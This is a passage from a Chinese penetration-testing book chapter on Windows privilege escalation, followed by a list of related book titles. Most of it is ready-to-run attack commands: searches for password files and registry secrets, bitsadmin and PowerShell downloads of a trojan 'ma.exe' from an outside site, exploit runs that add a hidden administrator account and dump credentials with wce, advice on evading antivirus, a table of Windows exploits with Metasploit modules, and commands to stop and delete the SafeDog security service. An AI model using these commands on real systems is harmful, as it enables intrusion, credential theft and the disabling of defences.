- 網(wǎng)絡攻防實戰(zhàn)研究:漏洞利用與提權
- 祝烈煌
- 3356字
- 2019-11-18 15:09:30
2.1 Windows提權基礎
本章提及的Windows提權特指針對Windows操作系統(tǒng)的提權,有關數(shù)據(jù)庫及應用程序的提權會在后續(xù)章節(jié)中詳細介紹。本章主要介紹一些與提權相關的基礎知識。
2.1.1 Windows提權信息的收集
Windows提權信息涉及多個方面,下面分別進行介紹。
1.操作系統(tǒng)的名稱和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" systeminfo | findstr /B /C:"OS名稱" /C:"OS版本"
2.主機名稱和所有環(huán)境變量
·主機名稱:hostname命令。
·環(huán)境變量:SET命令。
3.查看用戶信息
·查看所有用戶:“net user”或“net1 user”命令。
·查看管理員用戶組:“net localgroup administrators”或“net1 localgroup administrators”命令。
·查看遠程終端在線用戶:“query user”或“quser”命令。
4.查看遠程端口
(1)通過注冊表查看
運行“REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp/v PortNumber”命令。
(2)通過命令行查看
·獲取對應的PID號:“tasklist/svc | find "TermService"”命令。
·通過PID號查找端口:“netstat-ano | find "1980"”命令。
5.查看網(wǎng)絡情況
·網(wǎng)絡配置情況:“ipconfig/all”命令。
·路由器信息:“route print”命令。
·要查看ARP緩存:“arp-a”命令。
·查看網(wǎng)絡連接:“netstat-ano”命令。
·查看防火墻規(guī)則,命令如下。
netsh firewall show config netsh firewall show state
6.應用程序和服務
·查看服務的進程ID:“tasklist/SVC”命令。
·查看已安裝驅動程序的列表:DRIVERQUERY命令。
·查看已經(jīng)啟動的Windows服務:“net start”命令。
·查看某服務的啟動權限:“sc qc TermService”命令。
·查看已安裝程序的列表:“wmic product list brief”命令。
·查看服務列表:“wmic service list brief”命令。
·查看進程列表:“wmic process list brief”命令。
·查看啟動程序列表:“wmic startup list brief”命令
·查看已安裝的更新和安裝日期,代碼如下。
wmic qfe get Caption, De**ion, HotFixID, InstalledOn
搜索可以提升權限的特定漏洞,代碼如下。
wmic qfe get Caption, De**ion, HotFixID, InstalledOn | findstr /C:"KBxxxxxxx"
如果執(zhí)行上面的命令后沒有輸出,意味著那個補丁未安裝。
·結束程序:“wmic process where name="iexplore.exe" call terminate”命令。
7.檢索敏感文件
dir /b /s password.txt dir /b /s *.doc dir /b /s *.ppt dir /b /s *.xls dir /b /s *.docx dir /b /s *.xlsx dir /b /s config.* filesystem findstr /si password *.xml *.ini *.txt findstr /si login *.xml *.ini *.txt
除此之外,還可以檢查無人值守安裝日志文件。這些文件通常包含Base64編碼的密碼。在大型企業(yè)中,單個系統(tǒng)手動安裝是不切實際的,找到這些文件即可獲取管理員密碼。這些文件的共同位置如下。
C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml
8.目錄文件操作
·列出d:\www下的所有目錄,命令如下。
for /d %i in (d:\www\*) do @echo %i
·把當前路徑下文件夾名字只有1~3個字母的顯示出來,命令如下。
for /d %i in (? ? ? ) do @echo %i
·以當前目錄為搜索路徑,把當前目錄及其子目錄中的全部EXE文件列出,命令如下。
for /r %i in (*.exe) do @echo %i
·以指定目錄為搜索路徑,把當前目錄及其子目錄中的所有文件列出,命令如下。
for /r "f:\freehost\hmadesign\web\" %i in (*.*) do @echo %i
·顯示a.txt中的內(nèi)容,因為/f的作用,會讀出a.txt中的內(nèi)容,命令如下。
for /f %i in (c:\1.txt) do echo %i
9.RAR打包
rar a -k -r -s -m3 c:\1.rar d:\wwwroot
10.PHP讀文件
c:/php/php.exe "c:/www/admin/1.php"
11.Windows 7及以上版本下載可以使用的bitsadmin和PowerShell
bitsadmin /transfern http://www.antian365.com/ma.exe d:\ma.exe powershell (new-object System.Net.WebClient).DownloadFile(' http://www. antian365.com/ma.exe', 'ma.exe')
12.注冊表關鍵字搜索
password為關鍵字,可以是vnc等敏感關鍵字,命令如下。
reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
13.系統(tǒng)權限配置
cacls c:\ cacls c:\windows\ma.exe //查看ma.exe的權限配置
14.自動收集系統(tǒng)有用的腳本
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A" wmic process get CSName, Description, ExecutablePath, ProcessId /format:"%var%" >> out.html wmic service get Caption, Name, PathName, ServiceType, Started, StartMode, StartName /format:"%var%" >> out.html wmic USERACCOUNT list full /format:"%var%" >> out.html wmic group list full /format:"%var%" >> out.html wmic nicconfig where IPEnabled='true'get Caption, DefaultIPGateway, Description, DHCPEnabled, DHCPServer, IPAddress, IPSubnet, MACAddress /format:"%var%" >> out.html wmic volume get Label, DeviceID, DriveLetter, FileSystem, Capacity, FreeSpace /format:"%var%" >> out.html wmic netuse list full /format:"%var%" >> out.html wmic qfe get Caption, Description, HotFixID, InstalledOn /format:"%var%" >> out.html wmic startup get Caption, Command, Location, User /format:"%var%" >> out.html wmic PRODUCT get Description, InstallDate, InstallLocation, PackageCache, Vendor, Version /format:"%var%" >> out.html wmic os get name, version, InstallDate, LastBootUpTime, LocalDateTime, Manufacturer, RegisteredUser, ServicePackMajorVersion, SystemDirectory /format:"%var%" >> out.html wmic Timezone get DaylightName, Description, StandardName /format:"%var%" >> out.html
2.1.2 Windows提權準備
通過前面的基礎命令,我們可以有針對性地對目標開展提權工作。使用Windows-Exploit-Suggester獲取目前系統(tǒng)中可能存在的漏洞,步驟如下。
① 收集并編譯相關POC。
② 若操作系統(tǒng)中安裝了殺毒軟件及安全防護軟件,則需要對提權POC進行免殺,否則直接進行下一步。
③ 上傳POC。
④ 由WebShell或者反彈WebShell來執(zhí)行命令。
⑤ 搜索漏洞,根據(jù)關鍵字進行搜索,例如MS10-061。
·在百度瀏覽器中搜索“MS10-061 site:exploit-db.com”。
·訪問packetstormsecurity網(wǎng)站進行搜索(https://packetstormsecurity.com/search/?q=MS16-016)。
·安全焦點的BugTraq是一個出色的漏洞和Exploit數(shù)據(jù)源,可以通過CVE編號或者產(chǎn)品信息漏洞直接搜索,網(wǎng)址為http://www.securityfocus.com/bid。
2.1.3 使用MSF平臺搜索可利用的POC
(1)搜索POC
在Kali中打開MSF或者執(zhí)行“/usr/bin/msfconsole”命令,在命令提示符下使用如下命令進行搜索。
search ms08 search ms09 search ms10 search ms11 search ms12 search ms13 search ms14 search ms15 search ms16 search ms17
以上命令用于搜索2008年至2017年Windows下所有可用的exploit。搜索2015年的Exploit,如圖2-1所示。

圖2-1 搜索2015年所有可用的0day漏洞
(2)查看相關漏洞情況
可以通過微軟官方網(wǎng)站查看漏洞所對應的版本,利用方式為“https://technet.microsoft.com/library/security/漏洞號”。例如,查看MS08-068的網(wǎng)頁,打開方式為“https://technet.microsoft.com/library/security/ms08-068”。如圖2-2所示,如果顯示為“嚴重”,則表明可以被利用。

圖2-2 微軟對應漏洞版本號
2.1.4 實施提權
可以通過執(zhí)行命令進行提權。例如,可利用POC文件為poc.exe,則可以使用如下命令提權。
·直接執(zhí)行木馬。
poc.exe ma.exe
·添加用戶。
poc.exe "net user antian365 1qaz2wsx /add" poc.exe "net localgroup administrators antian365 /add"
·獲取明文密碼或者哈希值。
poc.exe "wce32.exe -w" poc.exe "wce64.exe -w" poc.exe "wce32"
2.1.5 相關資源
1.工具
· wce下載:http://www.ampliasecurity.com/research/windows-credentials-editor/; http://www.ampliasecurity.Com/research/wce_v1_42beta_x32.zip; http://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip。
· sysinternals: https://technet.microsoft.com/en-us/sysinternals/bb842062。
· mimikatz: http://blog.gentilkiwi.com/mimikatz。
· python: https://www.python.org/downloads/windows/。
2.搜索漏洞和Shellcode
· http://www.securityfocus.com。
· http://seclists.org/fulldisclosure/。
· http://www.exploitsearch.net。
· http://metasploit.com/modules/。
· https://cxsecurity.com/exploit/。
· http://securitytracker.com/。
2.1.6 Windows本地溢出漏洞及對應版本
1.2007年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB935966|MS07-029 Windows 2000 SP4、Windows Server 2003 SP1/SP2
exploit/windows/dcerpc/ms07_029_msdns_zonename
exploit/windows/smb/ms07_029_msdns_zonename
· KB937894|MS07-065 Windows XP SP2、Windows 2000 SP4、Windows XP x64 SP2、Windows Server 2003 SP1/SP2
exploit/windows/dcerpc/ms07_065_msmq
· KB941568|MS07-064 Windows 2000 SP4
exploit/windows/misc/ms07_064_sami
· KB944653|MS07-067 Windows XP SP2、Windows XP x64 SP2、Windows Server 2003 SP1/SP2
2.2008年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB958644|MS08-067 Windows 2000 SP4、Windows XP SP2/SP3、Windows XP 64 SP/SP2、Windows Server 2003 SP1/SP2、Windows Server 2003 64/SP2
exploit/windows/smb/ms08_067_netapi
· KB 957097|MS08-068 Windows 2000 SP4、Windows XP SP2/SP3、Windows XP 64 SP/SP2、Windows Server 2003 SP1/SP2、Windows Server 2003 64/SP2
exploit/windows/smb/smb_relay
3.2009年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB952004|MS09-012 PR Windows Server 2003/2008
· KB956572|MS09-012烤肉
· KB970483|MS09-020 IIS6
· KB971657|MS09-041 Windows XP、Windows Server 2003提權
· KB975254|MS09-053 IIS5遠程溢出,Windows 2000 SP4、Windows Server 2003及Windows Server 2008拒絕服務
· KB975517|MS09-050 Windows Vista、Windows Server 2008 32/SP2、Windows Server 2008 64/SP2
exploit/windows/smb/ms09_050_smb2_negotiate_func_index
4.2010年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB977165|MS10-015 Windows Vista、Windows Server 2003 32-64/SP2、Windows Server 2008 32-64/SP2
exploit/windows/local/ms10_015_kitrap0d
· KB 2347290|MS10-061 Windows XP SP3、Windows XP 64 SP2、Windows Server 2003 32-64 SP2、Windows Server 2008 32-64 SP2
· KB2360937|MS10-084 Windows XP 3、Windows XP 64 SP 2、Windows Server 2003 32-64 SP2
· KB2305420|MS10-092 Windows 7 32-64、Windows Server 2008 32-64、Windows Server 2008 R2 32-64
exploit/windows/local/ms10_092_schelevator
· KB2124261|KB2271195 MS10-065 IIS7
5.2011年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB2393802|MS11-011 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP2
· KB2478960|MS11-014 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2
· KB2507938|MS11-056 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP2
· KB2566454|MS11-062 Windows XP 32-64 SP3、Windows Server 2003 32-64 SP2
· KB2620712|MS11-097 Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、Windows Server 2008 R2 64 SP1
· KB2503665|MS11-046 Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、Windows Server 2008 R2 64 SP1
· KB2592799|MS11-080 Windows XP SP3、Windows Server 2003 SP2
exploit/windows/local/ms11_080_afdjoinleaf
6.2012年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB2711167|KB2707511|KB2709715|MS12-042 sysret-pid Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012
· KB2621440|MS12-020 Windows XP SP3、Windows Server 2003 SP2、Windows 7 64 SP1、Windows Server 2008 R2 64 SP1、
7.2013年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB2778930|MS13-005 Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012
exploit/windows/local/ms13_005_hwnd_broadcast
· KB2840221|MS13-046 Windows XP 32 SP3、Windows XP 64 SP2、Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 R2 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012、Windows Server 2012 R2
· KB2850851|MS13-053 EPATHOBJ 0day Windows XP 32 SP3、Windows XP 64 SP2、Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 R2 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8 32-64、Windows Server 2012
exploit/windows/local/ms13_053_schlamperei
8.2014年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB 2914368 |MS14-002 Windows XP SP3、Windows XP 64 SP2、Windows Server 2003 32-64 SP2
exploit/windows/local/ms_ndproxy
· KB 2916607|MS14-009 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2
exploit/windows/local/ms14_009_ie_dfsvc
· KB3000061|MS14-058 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 R2 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2
exploit/windows/local/ms14_058_track_popup_menu
· KB 2989935|MS14-070 Windows Server 2003 32-64 SP2
exploit/windows/local/ms14_070_tcpip_ioctl
9.2015年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB3023266|MS15-001 Windows 7 32-64 SP1、Windows Server 2008 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2
exploit/windows/local/ntapphelpcachecontrol
· KB3025421|MS15_004、Windows 7 32-64 SP1、Windows Server 2008 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2
exploit/windows/local/ms15_004_tswbproxy
· KB3041836|MS15-020、Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2
exploit/windows/smb/ms15_020_shortcut_icon_dllloader
· KB3057191|MS15-051 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2
exploit/windows/local/ms15_051_client_copy_image
· KB3077657|MS15-077 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64-SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2
· KB 3079904|MS15_078 Windows 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2
exploit/windows/local/ms15_078_atmfd_bof
· KB3079904|MS15-097 Windows Server 2003 32-64 SP2、Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 R2 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8-8.1 32-64、Windows Server 2012、Windows Server 2012 R2
exploit/windows/smb/ms15_020_shortcut_icon_dllloader
10.2016年對應漏洞、編號及其影響系統(tǒng)和MSF模塊
· KB3134228|MS16-014 Windows Server 2008、Windows 7、Windows Server 2012
· KB3124280|MS16-016 WebDAV提權漏洞Windows Vista 32-64 SP2、Windows Server 2008 32-64 SP2、Windows 7 32-64 SP1、Windows 2008 R2 64 SP1、Windows 8.1 32-64、Windows Server 2012、Windows Server 2012 R2、Windows 10 32-64
exploit/windows/local/ms16_016_webdav
· KB3139914|MS16-032 Windows Vista 32-64 SP2、Windows Server2008 32-64 SP2、Windows 7 32-64 SP1、Windows Server 2008 R2 64 SP1、Windows 8.1 32-64、Windows Server 2012、Windows Server 2012 R2、Windows 10 32-64
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
如果Windows Server 2003 SP2安裝了MS10-046補丁,可用ms15_020進行溢出。如果Windows Server 2008 SP2(32位)安裝了MS14-027補丁,可用ms15_020進行溢出。
2.1.7 停用安全狗
如果是system權限,可以采取如下方法停用安全狗。
·停用安全狗的相關服務,代碼如下。
net stop "Safedog Guard Center" /y net stop "Safedog Update Center" /y net stop "SafeDogCloudHelper" /y
·直接刪除SafeDogGuardCenter服務,代碼如下。
sc stop "SafeDogGuardCenter" sc config "SafeDogGuardCenter" start= disabled sc delete "SafeDogGuardCenter" sc stop "SafeDogUpdateCenter" sc config "SafeDogUpdateCenter" start= disabled sc delete "SafeDogUpdateCenter" sc stop "SafeDogCloudHelper" sc config "SafeDogCloudHelper" start= disabled sc delete "SafeDogCloudHelper"
- 互聯(lián)網(wǎng)違法犯罪的法律規(guī)制:首屆互聯(lián)網(wǎng)法律大會論文集
- 網(wǎng)絡輿情監(jiān)測:理論與實踐
- 網(wǎng)絡安全法律一本通
- 網(wǎng)絡安全法實用教程
- 網(wǎng)絡法學研究(2018年卷/總第1期)
- 信息網(wǎng)絡與高新技術法律前沿(第十一卷)
- 網(wǎng)絡空間治理前沿(第一卷)
- 數(shù)據(jù)交易:法律·政策·工具
- 網(wǎng)絡安全法和網(wǎng)絡安全等級保護2.0
- 網(wǎng)絡安全法律遵從
- 互聯(lián)網(wǎng)+時代的立法與公共政策
- 網(wǎng)絡安全立法研究
- 國有企業(yè)市場化運行的法律控制
- 網(wǎng)絡輿情分析技術
- 前端工程化:體系設計與實踐